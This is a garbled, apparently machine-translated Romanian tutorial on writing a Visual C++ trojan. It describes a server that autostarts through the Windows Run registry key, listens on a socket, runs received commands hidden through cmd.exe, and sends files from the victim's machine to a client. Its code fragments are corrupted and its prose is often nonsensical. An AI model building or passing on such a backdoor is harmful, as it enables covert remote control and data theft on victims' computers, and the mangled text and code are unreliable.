Articol despre cum să creați un troian vizual c

Reputație: 0/0

Cum se creează un trojan Visual C ++

Pentru program, avem nevoie de o versiune Visual C ++ deasupra celui de-al cincilea și mai bun C ++,
care este inclus în Visual Studio .NET. Creați un spațiu de lucru gol sau soluție (în VS






.NET) și adăugați două noi proiecte Win32 goale
Aplicație, server și client. Schimba imediat configurația activă
ambele proiecte pe Release. Pentru aceasta, selectați elementul corespunzător din
în meniul Construiți. Creat? Ok, acum vom intra în configurația de proiecte
(faceți clic pe butonul din dreapta al mouse - ului pe numele proiectului și selectați Setare), în
Linker și adăugați acolo biblioteca la modulele Object / bibliotecă
vinsoka wsock32.lib. Fără aceasta, programul nostru nu va funcționa. Observați-le
acțiunile trebuie să fie efectuate cu ambele proiecte - atât cu serverul, cât și cu
client, deoarece ambele vor utiliza funcțiile rețelei și
respectiv, au nevoie de o bibliotecă de rețea. Acum adăugați la
proiect-server nou dos fier, și începe.

Să începem
La începutul programului, trebuie să includeți fișierele antet
(hiders), care descriu funcțiile folosite de noi. Fără acces
programul vă va da un nor de greșeli și nu va funcționa niciodată. În acest
Avem doar un hider, care descrie funcțiile de rețea, de la
bibliotecă, pe care am adăugat-o puțin mai devreme.
#include

Folosind următoarele linii, extrem de importante pentru dimensiunea programului, noi
eliminați toate extra-urile din antetul PE al contului nostru și, de asemenea, să știm
Compilatorul pe care îl avem deja, EntryPoint, punctul de intrare. Dacă nu este așa
, apoi compilatorul în loc de a scrie funcția noastră până la punct
intrați, scrieți-vă propriile, uriașe și dimensiunea programului va crește de la 2 la 28
kilogram. O diferență notabilă? zâmbet Dar dacă încercați să alergați acum
Un program în modul de depanare, cel mai probabil nu va funcționa.

Comentariu #pragma (linker, / MERGE: .rdata = .text)
# comentarii comentariu (linker, / FILEALIGN: 512 /SECTION:.text, EWRX
/ IGNORE: 4078)
Comentariu #pragma (linker, / ENTRY: WinMain)

Așa că am ajuns la cel mai important lucru din program - punctul de intrare, funcția
care este transferat după controlul de pornire. Are patru
parametru, nici unul din care nu avem nevoie, deci numele
parametrii pe care nu le scriu, dar scriu doar tipul lor.

int WINAPI WinMain (HINSTANCE, HINSTANCE.LPSTFUnt)





Mai mult, folosind funcțiile de lucru cu registrul, scriem
SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Rulați copiile proaspăt copiate
astfel încât să fie încărcat de fiecare dată când sistemul este pornit. Troianul este încărcat și
gata pentru o apărare circulară (zâmbet de atac).

În sfârșit, am ajuns la cea mai importantă bucată de cod, fără de care
Troianul nu este un troian. Site-ul responsabil cu schimbul de date cu victima
zâmbiți. Așa cum probabil știți deja din articolele Horrific, pentru că
folosind funcțiile winsoc, trebuie mai întâi să fie inițializată.
În acest lucru se face cu următorul cod:

dacă (bind (listetJ5ock, (LPSOCKADDR) addr_Sock, sizegf (struct sockaddr)))
retur 0;

Cu această linie, vom începe în sfârșit ASCULTAREA portului, adică deschideți-l
pentru conexiuni. Pentru a fi precis, pentru o conexiune. În primul
parametru, trecem soclul variabil, care este deschis, iar cel de-al doilea
- numărul de conexiuni posibile, nu avem nevoie de mai mult de unul. Ca și în
caz cu bind'OM, pe eroare dezactivăm troianul.
dacă (ascultați (listet_Sock, 1)) returnați 0;

1) Așteptăm conectarea

2) Echipele de procesare

3) La eroare, închidem conexiunile existente

4) Întoarce-te în camera 1

Comenzile vor fi acceptate ca un șir, primul caracter al căruia
-de fapt, alegerea funcției, a doua - separatorul, orice, și restul -
acesta este argumentul că trecem la funcțiile troianului nostru. Iată un exemplu
comanda trimisă de client: Bună. Troyan ia mai întâi primul
două caractere și va verifica dacă avem o funcție atribuită simbolului m
(aceasta este rezultatul mesajului). Apoi vor fi necesare alte 126 de caractere și încărcare
funcția noastră. Adică, troianul din buclă are funcția recv
create după conexiunea soclu hack Sock date de două ori, în primul
tampon 2 octeți, iar în cel de-al doilea 126. În cazul în care datele nu sunt primite
CommandLoop se va termina cu comanda break, soclul se va închide și
serverul va aștepta din nou conexiunea. Vom scrie funcțiile troianului în detaliu:
Dacă primul caracter este m, atunci MessageBox (0, buf, Hacked
zâmbet, 0), unde buf este al doilea buffer.

Dacă primul caracter este e, atunci șirul buf este executat prin cmd.exe c
parametru / c, o funcție cu astfel de parametri
ShellExecuteA (NULL, oren, cmd.exe, buf_command, NULL, SW_H1DE),
unde buf_command este tamponul nostru cu linia avansată adăugată / s. o
SW_HIDE indică faptul că victima nu ar trebui să vadă în curs de dezvoltare
consola. Și ultima, cea mai complicată funcție, realizarea descărcării
dosar din mașina victimei. Se execută în cazul în care primul caracter -
acest lucru este f. Mai întâi, acesta deschide fișierul pentru funcția numai pentru citire
QpateFile. Apoi, dacă fișierul există, într-o buclă trimite 4096
bytes din acest fișier. Dacă mai multe octeți sunt expediate, atunci acesta este sfârșitul
fișierul și bucla este întreruptă. Un semnal către client că fișierul sa terminat,
se va deconecta.

În rolul unui client, orice program care poate fi trimis
pachet de format pe care l-am dat victimei. Pentru a mânca conectați la server
și executați o comandă ca: send (sock, m HELLO, 128.0). Dar pentru fiecare
Am scris un client care funcționează din linia de comandă și, prin
idee, poate fi ușor transferată pe orice platformă. Trimiterea unei comenzi troian
este efectuată de comanda client.exe [vic victim] [function] [argument],
de exemplu: client 127.0.0.1 m Bună ziua.







Articole similare

Trimiteți-le prietenilor: